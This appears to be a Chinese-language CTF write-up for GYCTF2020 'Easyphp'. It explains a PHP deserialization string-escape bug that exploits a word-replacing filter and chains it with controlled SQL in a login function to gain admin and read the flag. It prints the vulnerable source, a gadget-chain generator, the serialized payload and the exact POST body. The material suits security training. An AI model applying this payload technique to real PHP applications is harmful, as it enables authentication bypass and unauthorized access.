[GYCTF2020]Easyphp php反序列化字符串逃逸+sql

[GYCTF2020]Easyphp
www.zip找到源代码，重点应该在lib.php和update.php

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}

public function update(){
    $Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){
    $age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){
    return file_get_contents($this->nickname);//危}public function __toString(){
    $this->nickname->update($this->age);return "0-0";}

在lib.php中有反序列化和替换字符，经验判断可能有反序列化字符串逃逸漏洞。
初步想法是通过update调用getNewInfo，构造出一个nickname是flag.php的User。但是safe里把flag过滤了，想了很久也不知道怎么绕过。查了一下payload原来还要结合sql，通过以admin登录获得flag

if($_SESSION['login']===1){
    require_once("flag.php");echo $flag;
}

class dbCtrl
{
    public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){
    $this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){
    $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {
    die("连接失败，错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {
    return $idResult;}if (!$idResult) {
    echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {
    echo('密码错误！');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){
    //还没来得及写}
}

虽然我们不知道admin的密码，但如果让login执行的sql语句是select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?，那么密码校验就能直接通过，token会被赋成admin。

<?php
class User
{
    public $age = null;public $nickname = null;public function __construct(){
    $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';$this->nickname = new Info();}
}
class Info
{
    public $CtrlCase;public function __construct(){
    $this->CtrlCase = new dbCtrl();}
}
class UpdateHelper
{
    public $sql;public function __construct(){
    $this->sql = new User();}
}
class dbCtrl
{
    public $name = "admin";public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

直接看这个payload理解起来会比较顺。把UpdateHelper类的sql赋值成了一个User类，UpdateHelper类的__destruct会echo this->sql,触发User类的__toString。
因为User类的nickname被赋值成了一个Info类，而Info类是没有update函数的，这时候会默认触发Info的__call函数，调用CtrlCase的login。CtrlCase已经实例化成dbCtrl，参数是User的age，我们改成'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?'
这时候就达到目的：执行了login（select 1,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?）

public function __toString(){
    $this->nickname->update($this->age);return "0-0";}

public function __call($name,$argument){
    echo $this->CtrlCase->login($argument[0]);}

此时我们得到了一个反序列化字符串：

O:12:"UpdateHelper":1:{
    s:3:"sql";O:4:"User":2:{
    s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{
    s:8:"CtrlCase";O:6:"dbCtrl":2:{
    s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

下一步是要让它被服务器序列化，这里终于要用到我一开始提过的字符串逃逸了

<?php
class Info{
    public $age;public $nickname;public $CtrlCase;
}$a = new Info();
$a->age="1";
$a->nickname='********";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}';
echo serialize($a);

这一段序列化的结果是

O:4:"Info":3:{
    s:3:"age";s:1:"1";s:8:"nickname";s:271:"********";s:8:"CtrlCase";O:12:"UpdateHelper":1:{
    s:3:"sql";O:4:"User":2:{
    s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{
    s:8:"CtrlCase";O:6:"dbCtrl":2:{
    s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";N;}

\是会被替换成hacker的，这样nickname的实际长度变长，但是s:271是固定的，所以后台一直认定nickname就是271个字符长。如果\的数量够多，那么我们后面的s:8:"CtrlCase";O:12:"UpdateHelper"就能逃逸出来，成功注入了一个UpdateHelper类。

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

的长度是263个字符，*和hacker相差5个字符，into和hacker相差2个字符。所以一共要有4个into和51个*

age=1&nickname=***************************************************intointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

post以后页面出现10-0代表成功，此时返回登录页面。此时token已经变成admin，用户名填admin，密码随意就可登录成功。